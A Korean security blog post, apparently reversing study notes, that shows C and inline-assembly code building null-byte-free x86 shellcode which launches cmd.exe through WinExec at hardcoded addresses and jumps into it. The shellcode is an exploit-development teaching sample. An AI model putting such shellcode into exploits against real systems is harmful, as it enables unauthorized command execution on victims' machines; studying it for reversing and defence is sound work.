티스토리 뷰
#include <windows.h>
int main(int argc, char* argv[])
{
/*
char cmd[4] = {'c','m','d','\x0'};
__asm
{
_emit 0xCC
}
WinExec(cmd, SW_SHOW);
ExitProcess(1);
*/
/*
__asm{
// cmd
// 아래 널 바이트 부분을 대체하는 코드
xor ebx, ebx
mov [ebp-4], ebx
mov byte ptr [ebp-4], 63h
mov byte ptr [ebp-3], 6Dh
mov byte ptr [ebp-2], 64h
//mov byte ptr [ebp-1], 0 // 널바이트 제거
// call WinExec('cmd', SH_SHOW )
push 5
lea eax, [ebp-4]
push eax
mov eax, 0x76af3161
call eax
// call ExitProcess(1)
push 1
mov eax, 0x76a779c8
call eax
};
*/
/* 널바이트 제거 전 쉘코드
char shellcode[] = "\xC6\x45\xFC\x63"
"\xC6\x45\xFD\x6D"
"\xC6\x45\xFE\x64"
"\xC6\x45\xFF\x00"
"\x6A\x05"
"\x8D\x45\xFC"
"\x50"
"\xB8\x61\x31\xAF\x76"
"\xFF\xD0"
"\x6A\x01"
"\xB8\xC8\x79\xA7\x76"
"\xFF\xD0";
*/
char shellcode[] = "\x33\xDB"
"\x89\x5D\xFC"
"\xC6\x45\xFC\x63"
"\xC6\x45\xFD\x6D"
"\xC6\x45\xFE\x64"
"\x6A\x05"
"\x8D\x45\xFC"
"\x50"
"\xB8\x61\x31\xAF\x76"
"\xFF\xD0"
"\x6A\x01"
"\xB8\xC8\x79\xA7\x76"
"\xFF\xD0";
int* shell = (int*)shellcode;
__asm{
jmp shell
};
}
출처 : 윈도우 시스템 해킹 가이드(hyunmini)'리버싱 > 정리' 카테고리의 다른 글
| Universal 쉘코드(cmd) (0) | 2016.10.31 |
|---|---|
| WinDbg 사용법 (0) | 2016.10.30 |
| ServiceMain 진입하기(LoadLibrary, GetProcAddress) (0) | 2016.10.17 |
| [기본적인 Buffer Over flow 정리] (0) | 2016.01.11 |
| VS2015 에서 어셈블리 개발환경 만들기 (0) | 2016.01.06 |
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
- Total
- Today
- Yesterday
링크
TAG
- 위협정보공유
- 멋쟁이사자처럼 4기
- Flybits
- Static Analysis Engine
- 스피어피싱
- .wll
- Cisco Talos
- 악성코드
- Kimsuky
- VirusBulletin
- CVE-2018-9375
- koodous
- 해킹메일
- Servey
- AMSI
- Yara
- cuckoo-sandbox
- infostealer
- CVE-2018-0798
- Bisonal
- malware
- keylogger
- 한글악성코드
- vuln
- MS-Office
- 비트코인
- 출처 : Do it 안드로이드 프로그래밍
- us-cert
- Decoding
- idapython
| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | 7 |
| 8 | 9 | 10 | 11 | 12 | 13 | 14 |
| 15 | 16 | 17 | 18 | 19 | 20 | 21 |
| 22 | 23 | 24 | 25 | 26 | 27 | 28 |
글 보관함